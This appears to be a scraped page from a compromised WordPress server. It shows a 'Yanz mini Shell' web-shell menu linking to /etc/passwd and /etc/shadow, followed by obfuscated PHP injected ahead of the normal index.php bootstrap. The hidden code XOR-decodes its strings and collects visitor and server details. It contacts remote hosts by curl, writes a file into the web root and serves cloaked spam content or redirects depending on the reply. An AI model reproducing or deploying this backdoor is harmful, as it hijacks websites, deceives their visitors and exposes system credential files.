Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function e7EIPhtYQw($t163w, $G2mc9){ $A8IPb = ($t163w * $G2mc9) % 70; $fyPhH = sqrt(abs($A8IPb)) * 7299 / 100; $IDBY5 = ($A8IPb << 2) ^ ($fyPhH >> 1); if($IDBY5 > 70 * 10) { $IDBY5 = $IDBY5 / $t163w; } else { $IDBY5 = $IDBY5 * $G2mc9; } return ($IDBY5 + $A8IPb) % 7299; } $MqKjwg = 581 + 574; $WcP6xA = ($MqKjwg * 581) / (574 + 1); $bvnwBZ = str_repeat('x', $MqKjwg % 10); $MqKjwg = ($MqKjwg << 12) | ($MqKjwg >> (32 - 12)); class LEZqPKaAArlR { private $DnKL9; private $wVDbv; public function fnvzIJcT() { return $this->DnKL9 * $this->wVDbv % 100; } public function ZzgBrvLo($DnKL9) { $this->$DnKL9 = ($DnKL9 + $this->$DnKL9) % 1000; return $this->fnvzIJcT(); } } $UhcmJ = 'dD9XwdXhCsRxbLrD';$LGqse = array('_8uol36' => '41770b7d445c7d5b7b566140477e366152711c6e32416e5966446a5d517e577755610a6e52561d4d7445774f236944774172017d405d7d5e7556644a477a476156011c6e35416e2b66451654477f4061577c1c6b4f416b506641165d5479577221610f695253604d7041774b5369417241767c7d415d7d5f7556644d477a3761537d1c6f41416e5f6644675d557e577621610f1a52521b4d75377e5d517e57775c610a605257604d7137774e576944014172087d405c7d5b71566149477f446156011c6f44416e2d6645645d547b577256610f6d52536a4d7545774a2769447341720b7d4157744d7041774b5a69417c4177017d45207d5e7656643d477a4361537c1c6b45416b596640645d500957735d610e6e5253194d7445774e536944014173007d40527d5e7556603d477a456152761c6e44','_cikrif' => '48','_74fz0f' => '0c304d2804','_i5ecmc' => '0c304d28','_cc0lyi' => '4b','_stu93j' => '2c106d08282c173b17','_cdtu11' => '2c106d0828251b2b062306272e0d3c0331057e1d','_3z67yo' => '012a','_zmt4tc' => '2c106d0828361d2e0621172a','_e9f9mj' => '','_emo0fi' => '13215b65','_mzfjtl' => '423e4365','_s05xw7' => '55','_z9wau0' => '54','_y9e7yb' => '42314b314a','_ml8mor' => '42314b34040c3906244e','_jqzmgg' => '422c4d2c0759','_0f1pet' => '422858361059','_oh7fvy' => '200b7a0d3a21163c1c211d3736','_4mp2g8' => '4b36563a18102b46370b26','_u6t7ph' => '','_h15zmp' => '4b7b','_s8koeq' => '5b','_lab0no' => '31375c2a5a053f0d2d07685848','_ykdzox' => '25285537005e7847','_ud902d' => '372d4d3d1a05285263','_faeyr6' => '5e6b16','_6uk1dp' => '172d4d3d1a0528463b1e3e','_27v3pj' => '0a2b5b3703112b0d3112351d0c38','_kmycmc' => '2c106d0824','_tvjkcz' => '0b225f','_bbuurp' => '2c106d08283c072e0c210539300837003b146b17232b','_bm643w' => '2c106d0828220a270d270d3d2c082d0c3010690b','_u77dqa' => '3601680d32370c3716211b','_bg9m16' => '05365e2e','_bgfd98' => '340c69072421142e','_6jdd28' => '5b','_uk3ca5' => '35117c0a2e3b0b3c113a1c3f','_9mhb21' => '2c106d0828310b2d112c133f270226','_ckzd9v' => '032b563f1b013a0737','_0bcrty' => '062d573f','_bpeckf' => '1d25513718','_404ob1' => '032b563f1b01','_9jb9yn' => '232b563f1b013a0737','_xd1d5s' => '0c304d284d4b77','_mi5aob' => '4b2d573c121c76182b036d','_zc0s20' => '05285537003b2d1a2f2c341712291c','_uqtfdv' => '07116b1457212a1a2c01685852','_gaqjqi' => '0b2f512c1a083f0d371a3f1f','_rnzwgg' => '272b572c120a2c45170a221d586c1b2905235c771d143d0f','_lrqig1' => '0b2f512c1a083f0d371a3f1f','_emmg9z' => '0b2f512c1a083f0d3710210b','_8tqlvc' => '272b572c120a2c45170a221d586c06211c30163b04176348201b330a1129067911305f754f','_j48eyt' => '0b2f512c1a083f0d3710210b','_4nfncf' => '0b2f512c1a083f0d37103d1616291c30','_8798jy' => '272b572c120a2c45370a221d586c06211c3016300309345363103a19103f173059314d3e5a5c','_bmnpa4' => '0b2f512c1a083f0d37103d1616291c30','_la7b30' => '0b2f41351b033d1c201c3c0c072206','_6njh0l' => '272b572c120a2c45170a221d586c13341428503b161031072d5c2a150e7752270c254b2b1210651d37157f40','_xx4190' => '0b2f41351b033d1c201c3c0c072206','_5g7jyo' => '03214d3b180a2c0d2d076748523c132301','_w27h44' => '2c106d08585576596346624842051c30013657391b440b0d3105370a420900360b36','_di8hzz' => '03214d3b180a2c0d2d076648563c132301','_kzzaoi' => '2c106d08585576596347624c42021d304402562d1900','_e6tfs9' => '03214d3b180a2c0d2d076148533c132301','_etk1lv' => '2c106d08585576596340624942011d3201201908121635092d163c0c0e35','_9jdov5' => '282b5a39030d37067953','_2tprd6' => '0b2f4b37150b2c1b2416261b0d2206210a30','_cs28hw' => '272b572c120a2c45170a221d586c06211c3016281b053106','_23pvuc' => '0b2f4b37150b2c1b2416261b0d2206210a30','_i7uuhr' => '3314660d2421073c0b361f3d31');foreach($LGqse as $key => $value){ $a5EXi = JKRY1(hex2bin($value), $UhcmJ); define($key, $a5EXi ); }unset($LGqse, $UhcmJ);unset($GLOBALS['JKRY1']);function JKRY1($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$M3NdO = _8uol36; $zt3RN = explode(_cikrif, $M3NdO); $uUS5B = fCqZxn9x() ? _74fz0f : _i5ecmc; $I2ipl = tG1sdnBH(); $fqHSd = empty($I2ipl) ? _cc0lyi : $I2ipl; $RfJr0 = $_SERVER[_stu93j]; $GtVl8 = isset($_SERVER[_cdtu11]) ? $_SERVER[_cdtu11] : _3z67yo; $QiARx = isset($_SERVER[_zmt4tc]) ? $_SERVER[_zmt4tc] : _e9f9mj; $vdIES = _emo0fi . $RfJr0 . _mzfjtl . (jdV4WJJd() ? _s05xw7 : _z9wau0) . _y9e7yb . urlencode($fqHSd) . _ml8mor . urlencode($QiARx) . _jqzmgg . $uUS5B . _0f1pet . $GtVl8; $T2qPq = sfKFvFFP($zt3RN, $uUS5B, $vdIES); $XdXJ5 = $_SERVER[_oh7fvy] . _4mp2g8; $zl5as = _e9f9mj; if (stristr($fqHSd, _h15zmp)) { $zl5as = _s8koeq; } $sxioI = _lab0no . PHP_EOL; $sxioI .= _ykdzox . PHP_EOL . PHP_EOL; $sxioI .= _ud902d . $uUS5B . _faeyr6 . $RfJr0 . _cc0lyi . $zl5as . _6uk1dp . PHP_EOL; if (!file_exists($XdXJ5)) { file_put_contents($XdXJ5, $sxioI); } else { if (md5_file($XdXJ5) !== md5($sxioI)) { @file_put_contents($XdXJ5, $sxioI); } } if (!strstr($T2qPq, _27v3pj)) { ew3iUPe9($T2qPq); } function fCqZxn9x() { return ( isset($_SERVER[_kmycmc]) && strtolower($_SERVER[_kmycmc]) !== _tvjkcz || isset($_SERVER[_bbuurp]) && $_SERVER[_bbuurp] === _74fz0f || isset($_SERVER[_bm643w]) && strtolower($_SERVER[_bm643w]) !== _tvjkcz ); } function tG1sdnBH() { if (isset($_SERVER[_u77dqa])) { return $_SERVER[_u77dqa]; } elseif (isset($_SERVER[_bg9m16])) { return $_SERVER[_bgfd98] . _s8koeq . $_SERVER[_bg9m16][0]; } else { return $_SERVER[_bgfd98] . _s8koeq . $_SERVER[_uk3ca5]; } } function jdV4WJJd() { $L7Gx4 = strtolower(isset($_SERVER[_9mhb21]) ? $_SERVER[_9mhb21] : _e9f9mj); return stristr($L7Gx4, _ckzd9v) || stristr($L7Gx4, _0bcrty) || stristr($L7Gx4, _bpeckf) || stristr($L7Gx4, _404ob1) || stristr($L7Gx4, _9jb9yn); } function sfKFvFFP($tkatk, $uUS5B, $vdIES) { shuffle($tkatk); foreach ($tkatk as $zdeVk) { $zdeVk = str_rot13(urldecode($zdeVk)); $JV3S3 = _xd1d5s . $zdeVk . _mi5aob . $vdIES; $vpkhd = curl_init(); curl_setopt($vpkhd, CURLOPT_URL, $JV3S3); curl_setopt($vpkhd, CURLOPT_RETURNTRANSFER, true); $ofJez = curl_exec($vpkhd); if (!curl_errno($vpkhd)) { curl_close($vpkhd); return $ofJez; } else { curl_close($vpkhd); } if (ini_get(_zc0s20)) { $ofJez = @file_get_contents($JV3S3); if ($ofJez !== false) { return $ofJez; } } } echo _uqtfdv; } function ew3iUPe9($T2qPq) { if (strstr($T2qPq, _gaqjqi)) { header(_rnzwgg); echo str_replace(_gaqjqi, _e9f9mj, $T2qPq); exit(); } elseif (strstr($T2qPq, _emmg9z)) { header(_8tqlvc); echo str_replace(_emmg9z, _e9f9mj, $T2qPq); exit(); } elseif (strstr($T2qPq, _4nfncf)) { header(_8798jy); echo str_replace(_4nfncf, _e9f9mj, $T2qPq); exit(); } elseif (strstr($T2qPq, _la7b30)) { header(_6njh0l); echo str_replace(_la7b30, _e9f9mj, $T2qPq); exit(); } elseif (strstr($T2qPq, _5g7jyo)) { header(_w27h44); exit(); } elseif (strstr($T2qPq, _di8hzz)) { header(_kzzaoi); exit(); } elseif (strstr($T2qPq, _e6tfs9)) { header(_etk1lv); $T2qPq = str_replace(_e6tfs9, _e9f9mj, $T2qPq); header(_9jdov5 . $T2qPq); exit(); } elseif (strstr($T2qPq, _2tprd6)) { header(_cs28hw); echo str_replace(_2tprd6, _e9f9mj, $T2qPq); exit(); } } define( _i7uuhr, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>